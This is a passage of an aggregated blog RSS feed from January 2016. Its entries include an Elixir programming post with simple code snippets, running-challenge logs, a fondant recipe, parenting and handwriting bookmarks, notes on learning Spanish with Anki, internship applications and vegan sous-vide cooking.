&lt;p&gt;To give that more context, on heroku with django I would have to scale up another worker process (costs $), add a amqp server (even more $) and let everything run at the same time. On heroku with elixir I can literally have all of that inside a free dyno! I could even spin up 50 worker processes and it could still run inside the same free dyno without a cent extra if I am nice with memory.&lt;/p&gt;
&lt;p&gt;And you know actually how easy it is to spawn a simple child process?&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;spawn fn -&amp;gt;
	IO.puts “Hello from Child”
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;But I’m just scratching the surface of this amazing language. Phoenix for example has built in support for websockets, you know what this means when it comes to elixir? You could connect to server1, I could connect to server98934 which is part of the same mesh and we could &lt;strong&gt;still&lt;/strong&gt; chat with each other without any extra work!&lt;/p&gt;
&lt;p&gt;Elixir made it damn appealing to use concurrency programming. I never fear that I will break something essential because it is just this well done. It is designed that it actually encourages you to use these features more often - because seriously, why wouldn’t you?&lt;/p&gt;
&lt;h3 id="scripted-elixir"&gt;Scripted Elixir&lt;/h3&gt;
&lt;p&gt;Amazing syntax, functional programming, REPL driven development, unbeatable concurrency model - how could you make this language even more attractive? I will tell you how:&lt;/p&gt;
&lt;p&gt;Elixir has 2 ways of executing your code: Pre-compiled and scripted. Pre-compiled means that once you are ready to run your app you tell elixir (or mix) to compile everything down and execute it. But what could &lt;em&gt;scripted&lt;/em&gt; mean?&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[i] λ elixir -e ‘IO.puts “Hello World”’
Hello World
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;…that’s what it means! Elixir comes with a &lt;a href="http://elixir-lang.org/getting-started/modules.html#scripted-mode"&gt;scripted mode&lt;/a&gt; that compiles your code on the spot in memory before executing it! No slow spinning up java to execute your clojure code or compile it into javascript. Executing elixir in scripted mode takes 1 second at max and doesn’t require you to have anything set up. No project, no mix - nothing.&lt;/p&gt;
&lt;h3 id="the-language-of-my-dreams"&gt;The language of my dreams?&lt;/h3&gt;
&lt;p&gt;I know it is too early to judge but I really like Elixir. I didn’t have this much fun programming on the server since I initially discovered django. Pair Elixir on the server with clojurescript on the client and you have the stack of my dreams - powerful and fun programming on the client and server at the same time (let’s call it &lt;em&gt;dave-stack&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;I will continue my journey with Elixir. If you didn’t check it out - I highly urge you to do so. It could very easily become the next ruby in a very short time.&lt;/p&gt;</description><author>David Mohl</author><pubDate>Fri, 22 Jan 2016 12:30:23 GMT</pubDate><guid isPermaLink="true">https://david.coffee/sweet-sweet-elixir-the-language-of-my-dreams/</guid></item><item><title>Full-Stack JavaScript Image Uploader</title><link>http://blog.fineuploader.com/2013/11/01/full-stack-javascript-image-uploader-using-angularjs-node-js/</link><description>Are you a big fan of JavaScript? Would you prefer to use JS both in the browser and on the server? I'll show you how to do all of this with Fine Uploader, AngularJS, and Node.js.</description><author>Train of Thought</author><pubDate>Fri, 22 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">http://blog.fineuploader.com/2013/11/01/full-stack-javascript-image-uploader-using-angularjs-node-js/</guid></item><item><title>Janathon 2016 #21</title><link>https://rjp.is/blogging/posts/janathon-2016-21-2/</link><description>A rest day which involved going to the Co-op to pick up a windshield (very effective but doesn&amp;rsquo;t really fit the PCM-M10 if you have headphones plugged in) and then home via Point Hill. Which is Quite Steep in places.
Windshield vs Muji fan Muji fan, full speed, pointed at the PCM-M10 mics from 4&amp;quot;.
10s with windshield; 10s without; 10s without on low sensitivity.</description><author>infrequent oscillations</author><pubDate>Fri, 22 Jan 2016 00:22:33 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-21-2/</guid></item><item><title>Janathon 2016 #20</title><link>https://rjp.is/blogging/posts/janathon-2016-20-2/</link><description>Into the last stretch! Just as the weather seems to pivoting out of &amp;ldquo;COR BLIMEY MY KNACKERS HAVE VANISHED&amp;rdquo; cold into &amp;ldquo;DON&amp;rsquo;T NEED A COAT MUM&amp;rdquo; mild as well.
Today was a rest day and if it hadn&amp;rsquo;t have been for those surprise Creme Eggs, it would have been a successful one.
Still, a walk up a hill in &amp;ldquo;brisk&amp;rdquo; conditions can&amp;rsquo;t hurt.</description><author>infrequent oscillations</author><pubDate>Thu, 21 Jan 2016 01:55:42 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-20-2/</guid></item><item><title>Incredibles 2</title><link>https://olshansky.info/movie/incredibles_2/</link><description>Olshansky's review of Incredibles 2</description><author>🦉 olshansky 🦁</author><pubDate>Wed, 20 Jan 2016 07:44:18 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/incredibles_2/</guid></item><item><title>Handwriting bookmarks</title><link>https://xenodium.com/handwriting-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://briem.net"&gt;briem.net&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.handwritingthatworks.com"&gt;Handwriting that works&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Wed, 20 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/handwriting-bookmarks</guid></item><item><title>Chocolate fondant recipe</title><link>https://xenodium.com/chocolate-fondant-recipe</link><description>&lt;p&gt;My girlfriend recently made a delicious chocolate fondant. Saving the &lt;a href="http://www.theguardian.com/lifeandstyle/wordofmouth/2011/feb/10/how-cook-perfect-chocolate-fondants"&gt;The Guardian's recipe&lt;/a&gt;:&lt;/p&gt;
&lt;h2&gt;Ingredients (2 servings)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;60g unsalted butter, cut into dice, plus extra to grease&lt;/li&gt;
&lt;li&gt;1 tbsp cocoa powder&lt;/li&gt;
&lt;li&gt;60g dark chocolate, broken into pieces&lt;/li&gt;
&lt;li&gt;1 egg and 1 egg yolk&lt;/li&gt;
&lt;li&gt;60g caster sugar&lt;/li&gt;
&lt;li&gt;1 tbsp plain flour&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Preparation&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Pre-heat the oven to 200C if cooking immediately, and put a baking tray on the middle shelf. Butter the inside of 2 small ramekins or pudding moulds, and then put the cocoa in one and turn it to coat the inside, holding it over the second mould to catch any that escapes. Do the same with the other mould.&lt;/li&gt;
&lt;li&gt;Put the butter and chocolate into a heatproof bowl set over, but not touching, a pan of simmering water and stir occasionally until melted. Allow to cool slightly.&lt;/li&gt;
&lt;li&gt;Vigorously whisk together the egg, yolk, sugar and a pinch of salt until pale and fluffy. Gently fold in the melted chocolate and butter, and then the flour. Spoon into the prepared moulds, stopping just shy of the top – at this point the mixture can be refrigerated until needed, or even frozen, as the puddings will not wait around once cooked.&lt;/li&gt;
&lt;li&gt;Put on to a hot baking tray and cook for 12 minutes (14 if from cold, 16 if frozen) until the tops are set and coming away from the sides of the moulds. Leave to rest for 30 seconds and then serve in the ramekins or turn out on to plates if you're feeling confident – they're great with clotted cream or plain ice cream.&lt;/li&gt;
&lt;/ol&gt;</description><author>xenodium.com @alvaro</author><pubDate>Wed, 20 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/chocolate-fondant-recipe</guid></item><item><title>Parenting bookmarks</title><link>https://xenodium.com/parenting-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.janetlansbury.com/2018/07/a-toddlers-do-it-myself-attitude-ends-in-tantrums/"&gt;A Toddler's Do-It-Myself Attitude Ends In Tantrums - Janet Lansbury&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=17023693"&gt;Ask HN: Any good collaboratively built documentation on good parenting? (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=20069714"&gt;Ask HN: I need ideas to impress fifth graders with technology&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=23711942"&gt;Ask HN: Recommend a maths book for a teenager? | Hacker News&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://codecombat.com/"&gt;CodeCombat - Learn how to code by playing a game&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/32497573-everyone-s-a-aliebn-when-ur-a-aliebn-too"&gt;Everyone's a Aliebn When Ur a Aliebn Too by Jomny Sun&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/ankitshah/status/1305588478592217088"&gt;For parents out there, how much money did you have saved up when you had your first kid?&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.growingwithscience.com/"&gt;Growing With Science Blog&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://conference.michellegale.com/"&gt;Home - Mindful Parenting Online Conference&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.npr.org/sections/goatsandsoda/2019/03/13/685533353/a-playful-way-to-teach-kids-to-control-their-anger"&gt;How Inuit Parents Teach Kids To Control Their Anger (NPR)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=17435671"&gt;How to get kids to pay attention (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/brainpicker/status/1173363871035383808"&gt;How to raise a child – 10 rules from young single mom&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.brainpickings.org/2012/09/13/susan-sontag-10-rules-for-raising-a-child/"&gt;How to Raise a Child: 10 Rules from Young Susan Sontag – Brain Pickings&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.amazon.co.uk/How-Talk-Kids-Will-Listen/dp/1848123094/ref=sr_1_1"&gt;How to Talk so Kids Will Listen and Listen so Kids Will Talk&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/UKPersonalFinance/comments/af2z1b/im_becoming_a_dad_for_the_first_time_in_may_what/"&gt;I'm becoming a Dad for the first time in May. What are you top finacial tips when becoming a parent? : UKPersonalFinance&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://aeon.co/essays/do-people-have-a-moral-duty-to-have-children-if-they-can"&gt;Is it OK to have kids?&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://letgrow.org/"&gt;Let Grow | When Adults Step Back, Kids Step Up.&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.designmom.com/lets-talk-about-protecting-our-families/"&gt;Let's Talk About Protecting Our Families (debunked gun defense arguments)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.codinghorror.com/on-parenthood/"&gt;On Parenthood&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.techwillsaveus.com/"&gt;Tech kits for bright sparks (from techwillsaveus)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.theglobeandmail.com/life/parenting/the-disintegration-of-the-parent-child-bond/article28191786/"&gt;The disintegration of the parent-child bond&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.designmom.com/"&gt;The Intersection of Design &amp;amp; Motherhood | Top Lifestyle Blog | Design Mom&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.amazon.com/Monster-End-This-Book/dp/0307010856"&gt;The Monster at the End of This Book: Jon Stone, Michael Smollin&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/biomickwatson/status/1138778734054510592"&gt;Things people don't warn you about parenthood&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sachachua.com/blog/2019/03/visual-book-notes-no-drama-discipline-2014/"&gt;Visual Book Notes: No-Drama Discipline (2014)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.theatlantic.com/family/archive/2018/09/throw-your-childrens-art-away/570379/"&gt;Why It's Okay to Throw Your Children's Art Away - The Atlantic&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=VbgLXurbS2M"&gt;Yoto player review// is it worth it? everything you need to know - YouTube&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Wed, 20 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/parenting-bookmarks</guid></item><item><title>Two Things That Are Helping Me (Finally) Learn Spanish</title><link>https://josh.works/2-things-spanish</link><description>&lt;p&gt;Kristi and I are in Costa Rica for the month of January. We spent two months in Buenos Aires this summer. That means in the space of six months, I’ll have spent three months in a Spanish-speaking country, yet
I’ve not made significant progress on my spanish.&lt;/p&gt;

&lt;p&gt;That’s not to say I’ve made
no progress, just that I have not made as much progress as I’d have liked. I’ve got a big list of excuses ready to go for why I didn’t improve, but those are meaningless to you and I.&lt;/p&gt;

&lt;p&gt;Two things made a difference for me slowly making progress in the language:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Anki.app’s Spaced Repition Software&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Memorizing only what I understood, but then
memorizing it well.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id="ankiapp"&gt;Anki.app&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://ankiweb.net"&gt;Anki.app&lt;/a&gt; is “Spaced Repition Software”. It just works. Here’s others arguing it more persuaviely than I:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.fluentin3months.com/shakira/"&gt;Benny Lewis (using Shakira to learn spanish)&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://sivers.org/srs"&gt;Derek Sivers (using SRS for programming)&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="https://medium.com/life-tips/how-to-never-forget-anything-ever-again-5481606b087a#.gtp7ymytw"&gt;Mattan Griffel: How to never forget anything ever again&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I accepted the premise that SRS works, but I made a stupid mistake. I downloaded someone elses spanish deck, and started memorizing it.&lt;/p&gt;

&lt;p&gt;This was a mistake because I was trying to memorize a collection of disperate words not connected to my life. Hard to drum up motivation for that, and then I never had occasion to practice the words.&lt;/p&gt;

&lt;p&gt;After a month in Buenos Aires, I threw away the downloaded deck and started building my own. It was tedious, and slow. Not because creating cards is tedious and slow (it is. Anki’s User Interface leaves LOTS to be desired) but because I had to figure out a few things for every card:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;What was I trying to understand?&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;What didn’t I understand about it?&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;How can I now understand this thing that I didn’t understand before?&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;How can I distill this new understanding into a short card?&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I’d then create a “card”, and add it to my deck. I know I’m doing it right when most of the cards feel easy, if I stop and think about it. As I see the same card again and again, I can recall the information quicker each time.&lt;/p&gt;

&lt;h4 id="memorize-only-what-i-understand-and-a-note-on-circular-reasoning"&gt;Memorize only what I understand (and a note on circular reasoning)&lt;/h4&gt;

&lt;p&gt;So, when I came across a word I wanted to learn, like “dispertarse”, I had to make sure I knew several things about this word:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;The meaning of the infinitive. (Dispertar = to wake up)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;all the conjugations in the present tense (five conjugations)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;meaning of the ending “-se” (reflexive singular, but I need to know all the reflexive conjugations, so that introduces another six individual verb endings,
at least)&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So, “dispertarse” means “to wake oneself up” but to really understand it, I chose to build a web of understanding that touches on at least twenty individual data points.&lt;/p&gt;

&lt;p&gt;The good news is once you’ve built a small web, it’s way easier to expand it piecemeal. It’s a heck of a lot of work building it the first time, but thats what I did, and it helped enormously.&lt;/p&gt;

&lt;p&gt;This all felt a bit circular at first (and still does). I want to memorize only what I understand, but since I don’t understand much, I’m doing rote memorization. I’m not discouraged, though. I know I’m attacking the problem from two directions, and I’ll get it eventually.&lt;/p&gt;

&lt;p&gt;A small win under “memorize only what I can understand” is that I feel happy to
&lt;a href="http://www.hackingchinese.com/is-your-flashcard-deck-too-big-for-your-own-good/"&gt;delete cards as I see fit&lt;/a&gt;. If I have not learned the card, am not learning it well, and don’t want to learn it,
why should I learn it?&lt;/p&gt;

&lt;h5 id="misc-resources"&gt;Misc resources:&lt;/h5&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="https://www.supermemo.com/en/articles/20rules"&gt;Effective Learning: 20 rules of formulating knowledge&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.jackkinsella.ie/2011/12/05/janki-method.html"&gt;SRS for programming: The Janki Method&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;</description><author>Josh Thompson</author><pubDate>Wed, 20 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/2-things-spanish</guid></item><item><title>Peopleware</title><link>https://june.kim/peopleware/</link><author>june.kim</author><pubDate>Wed, 20 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/peopleware/</guid></item><item><title>Links - January 20th, 2016</title><link>https://faingezicht.com/links/2016/01/20/links/</link><description/><author>Avy Faingezicht</author><pubDate>Wed, 20 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/01/20/links/</guid></item><item><title>Janathon 2016 #19</title><link>https://rjp.is/blogging/posts/janathon-2016-19-2/</link><description>First run for 8 days and it was hard. Not because of the running but because Muji base layer + dare2b shell was FAR TOO HEAT EFFICIENT. I was burning up after half an hour.
Then got some twangy calf pre-cramps at 8km and it was an easy decision to abort at just over 10km by Deptford ASDA for some recovery food.
That included a banana - the eating of which made me feel proper ill.</description><author>infrequent oscillations</author><pubDate>Wed, 20 Jan 2016 01:07:34 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-19-2/</guid></item><item><title>List of Awesomeness #5</title><link>https://rohitjha.com/blog/list-of-awesomeness-5/</link><description>&lt;p&gt;Hope everyone had a great holiday. Last month has been a bit busy. So my &amp;#x201c;experiment&amp;#x201d; with this kind of correspondence was on a hiatus.&lt;/p&gt;&lt;p&gt;On the flip side, I have a lot of really good things to share in the coming weeks.&lt;/p&gt;&lt;h1 id="books"&gt;&lt;strong&gt;Books&lt;/strong&gt;&lt;/h1&gt;&lt;p&gt;&lt;a href="http://web.archive.org/web/20181009085401/http://www.amazon.com/Snow-Crash-Neal-Stephenson/dp/0553380958/"&gt;Snow Crash&lt;/a&gt; &amp;#x2013; Written&lt;/p&gt;</description><author>THINK@RJ</author><pubDate>Tue, 19 Jan 2016 17:21:00 GMT</pubDate><guid isPermaLink="true">https://rohitjha.com/blog/list-of-awesomeness-5/</guid></item><item><title>Neighbors 2: Sorority Rising</title><link>https://olshansky.info/movie/neighbors_2_sorority_rising/</link><description>Olshansky's review of Neighbors 2: Sorority Rising</description><author>🦉 olshansky 🦁</author><pubDate>Tue, 19 Jan 2016 14:27:08 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/neighbors_2_sorority_rising/</guid></item><item><title>Code Monkey or CAD Monkey?</title><link>https://blog.nawaz.org/posts/2016/Jan/code-monkey-or-cad-monkey/</link><description>&lt;a class="reference external image-reference" href="https://blog.nawaz.org/images/cadmonkey/codemonkey.jpg"&gt;
&lt;img alt="Monkey typing on a computer" src="https://blog.nawaz.org/images/cadmonkey/codemonkey.jpg" /&gt;
&lt;/a&gt;
&lt;p&gt;I recently came across this &lt;a class="reference external" href="https://www.reddit.com/r/financialindependence/comments/3y8x92/what_industries_do_people_get_into_for_the_money/cybmzcz"&gt;comment&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I can&amp;#8217;t tell you how many times I&amp;#8217;ve heard &amp;#8220;oh, I just &lt;span class="caps"&gt;COULDN&lt;/span&gt;&amp;#8217;T
stare at a computer all day&amp;nbsp;lol&amp;#8221;.&lt;/p&gt;
&lt;p&gt;If you want a decent job, it&amp;#8217;s probably going to be an office job
staring at a computer all&amp;nbsp;day …&lt;/p&gt;&lt;/blockquote&gt;</description><author>Beetle Space</author><pubDate>Tue, 19 Jan 2016 10:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.nawaz.org/posts/2016/Jan/code-monkey-or-cad-monkey/</guid></item><item><title>Internships 2016</title><link>https://spindas.dreamwidth.org/1988.html</link><description>&lt;p&gt;After doing Google Summer of Code last year, this is my first year of applying for internships. So I&amp;rsquo;m nervous-yet-excited, and am really hoping that resumes actually get looked at as I don&amp;rsquo;t have any &amp;ldquo;employers&amp;rdquo; to put down so far.&lt;/p&gt; &lt;p&gt;Places I&amp;rsquo;ve applied to:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;&lt;a href="https://careers.mozilla.org/en-US/university/"&gt;&lt;strong&gt;Mozilla&lt;/strong&gt;&lt;/a&gt; in Mountain View &amp;ndash; open source, makers of Firefox and Rust!&amp;nbsp;This is kind of my dream job.&lt;/li&gt; &lt;li&gt;&lt;a href="https://www.adobe.com/careers/university/internships.html"&gt;&lt;strong&gt;Adobe&lt;/strong&gt;&lt;/a&gt; in San Jose &amp;ndash; they&amp;rsquo;re really easy to get to from home, which is great since I don&amp;rsquo;t have my driver&amp;rsquo;s license yet.&lt;/li&gt; &lt;li&gt;&lt;a href="https://careers.yahoo.com/us/students"&gt;&lt;strong&gt;Yahoo&lt;/strong&gt;&lt;/a&gt; in Sunnyvale &amp;ndash; also very reachable.&lt;/li&gt; &lt;li&gt;&lt;a href="https://www.facebook.com/careers/university/internships/engineering"&gt;&lt;strong&gt;Facebook&lt;/strong&gt;&lt;/a&gt; in Mountain View &amp;ndash; one at WhatsApp, where they use Erlang! And two elsewhere in the company.&lt;br /&gt;Lesson learned: if you have a Facebook account, make sure you log in before applying, &lt;s&gt;and use Chrome &amp;ndash; the &amp;ldquo;Skills&amp;rdquo; field is currently broken on Firefox&lt;/s&gt; &lt;em&gt;(this seems to be fixed now)&lt;/em&gt;. Also, some fields have character caps that aren't apparent unless you proceed to the next page and then go back.&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;Places I&amp;rsquo;ve looked at:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;&lt;a href="https://www.janestreet.com/join-jane-street/internships/"&gt;&lt;strong&gt;Jane Street&lt;/strong&gt;&lt;/a&gt; &amp;ndash; it&amp;rsquo;d be fun to work in a functional language like OCaml, but they only have positions in NYC, London, and Hong Kong.&lt;/li&gt; &lt;li&gt;&lt;a href="https://galois.com/careers/software-engineer-intern/"&gt;&lt;strong&gt;Galois&lt;/strong&gt;&lt;/a&gt; &amp;ndash; another FP&amp;nbsp;(Haskell) shop that&amp;rsquo;s too far away (Portland).&lt;/li&gt; &lt;li&gt;&lt;a href="https://www.google.com/about/careers/students/"&gt;&lt;strong&gt;Google&lt;/strong&gt;&lt;/a&gt; &amp;ndash; they&amp;rsquo;re all closed up for the summer internships. I&amp;rsquo;ll have to apply earlier next year.&lt;/li&gt; &lt;li&gt;&lt;a href="https://nest.com/careers/"&gt;&lt;strong&gt;Nest&lt;/strong&gt;&lt;/a&gt; &amp;ndash; lots of positions open, but the closest office is in Palo Alto, which lacks good public transportation to and from San Jose.&lt;/li&gt; &lt;li&gt;&lt;a href="https://about.twitter.com/careers/teams/university"&gt;&lt;strong&gt;Twitter&lt;/strong&gt;&lt;/a&gt; &amp;ndash; again, the nearest office is in-state but not close enough (San Francisco).&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;As it turns out, location is a major limiting factor for me. I definitely need to start driving soon.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img alt="comment count unavailable" height="12" src="https://www.dreamwidth.org/tools/commentcount?user=spindas&amp;amp;ditemid=1988" style="vertical-align: middle;" width="30" /&gt; comments</description><author>spinda's dreamwidth</author><pubDate>Tue, 19 Jan 2016 08:29:51 GMT</pubDate><guid isPermaLink="true">https://spindas.dreamwidth.org/1988.html</guid></item><item><title>Vegan sous-vide recipes #1</title><link>https://da-data.blogspot.com/2016/01/vegan-sous-vide-recipes-1.html</link><description>Sous vide immersion cookers (I use &lt;a href="http://amzn.to/1T0v3Yw"&gt;the Anova&lt;/a&gt;)&amp;nbsp;have become cheap and easily available - under $200, clamp on to the side of your pot, life is happy. &amp;nbsp;The Internet abounds about tales of meat cooked for hours until perfectly tender; &amp;nbsp;eggs cooked to perfection in a dozen ways. &amp;nbsp;But what about our dear vegetable friends?&lt;br /&gt;
&lt;br /&gt;
I'm keeping a little journal of my journey through sous vide veggies - hope it's useful!&lt;br /&gt;
&lt;h3&gt;
The Wins Thus Far&lt;/h3&gt;
&lt;a href="http://1.bp.blogspot.com/-M5cfcoFSGfY/VpG4FBNu4YI/AAAAAAAAsrY/rZzmzrJPOnA/s1600/IMG_20160109_170045.jpg" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="200" src="http://1.bp.blogspot.com/-M5cfcoFSGfY/VpG4FBNu4YI/AAAAAAAAsrY/rZzmzrJPOnA/s200/IMG_20160109_170045.jpg" width="150" /&gt;&lt;/a&gt;&lt;br /&gt;
The biggest win has been ... &lt;b&gt;starchy roots&lt;/b&gt;!&lt;br /&gt;
&lt;br /&gt;
Following &lt;a href="http://www.seriouseats.com/2010/11/the-best-roasted-sweet-potatoes-thanksgiving-sides-the-food-lab.html"&gt;Kenji&amp;nbsp;@ The Food Lab's suggestion&lt;/a&gt;, I threw three sweet potatoes, three potatoes, and three large beets in individual bags for about 2h at 150F. &amp;nbsp;After that, I removed them from their bags, and diced them into small dice and roasted them at 350 for about 45 minutes, tossed with a mix of salt, MSG, &lt;a href="http://amzn.to/1Otyp2Z"&gt;better than bouillon no-chicken base,&lt;/a&gt;&amp;nbsp;and canola oil. &amp;nbsp;Fantastic! &amp;nbsp;The two hours at 150F really bring out the natural sweetness of the roots, and the results had great happiness.&lt;br /&gt;
&lt;br /&gt;
A surprising benefit of this approach was that dicing the veggies was easy -- even the sweet potatoes. &amp;nbsp;The toughness of sweet potatoes normally makes a fine dice a test of patience and hand discomfort, but the two hours at 150 took the edge off enough while leaving them firm that it was really a pleasant experience. &amp;nbsp;As you can see from the photo, I had quite a pile to deal with.&lt;br /&gt;
&lt;br /&gt;
Building upon that success, I next tried &lt;b&gt;overnight beets&lt;/b&gt;. &amp;nbsp;Washed, trimmed, and bagged three beets and left them for 8h overnight at 145F. &amp;nbsp;Removed from the sous vide, peeled off the skin with a vegetable peeler, sliced into 3/8th inch rounds, and threw in the oven at 425 for about 10 minutes with canola oil on both sides. &amp;nbsp;Threw a little salt on the top.&lt;br /&gt;
&lt;br /&gt;
I tried eating the beets directly out of the water, because they were pretty cooked by that time -- no go. &amp;nbsp;They were edible, but really missing something. &amp;nbsp;But after the roasting, they had a &lt;i&gt;fantastic&lt;/i&gt;&amp;nbsp;combination of crunchy, beety, and sweet. &amp;nbsp;They may be the best beets I've ever cooked.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Chocolate&lt;/b&gt;&amp;nbsp;has a lot of promise, but I haven't finished exploring it yet. &amp;nbsp;We whipped up a batch of&lt;br /&gt;
the &lt;a href="http://veganderbycatparty.com/2011/03/23/vctotws-brooklyn-brownie-cupcakes/"&gt;Brooklyn Brownies&lt;/a&gt; from &lt;a href="http://amzn.to/1OtAfBb"&gt;Vegan Cupcakes Take Over the World&lt;/a&gt;, and to melt the chocolate chips, I bagged them and threw them in the sous vide instead of my usual fake-double-boiler-microwave-trick. &amp;nbsp;At 130F, they melted fast, with no annoyance. &amp;nbsp;(You can also throw a metal pot in, but the bag was faster.) &amp;nbsp;Pipe the chocolate out of the bag, presto. &amp;nbsp;I'd do it again, but I'm not sure I'd heat up the sous vide &lt;i&gt;just&lt;/i&gt;&amp;nbsp;to melt chocolate.&lt;br /&gt;
&lt;h3&gt;
&lt;span style="font-size: small;"&gt;The Not Again&lt;/span&gt;&lt;/h3&gt;
I tried a &lt;a href="http://cooking.nytimes.com/recipes/1012930-buttery-spiced-sous-vide-apples"&gt;buttery-spiced sous vide apples recipe from the New York times&lt;/a&gt;, and the unanimous conclusion was that it lost too much from the caramelization induced by baking. &amp;nbsp;The spice combination involved was nice, and I'd use it again, but the recipe overall didn't excel. &amp;nbsp;It's possible that finishing them off with a blowtorch and creating a sort of apple brulee would restore the awesomeness, but &lt;i&gt;just&lt;/i&gt;&amp;nbsp;sous vide didn't do it.&lt;br /&gt;
&lt;br /&gt;
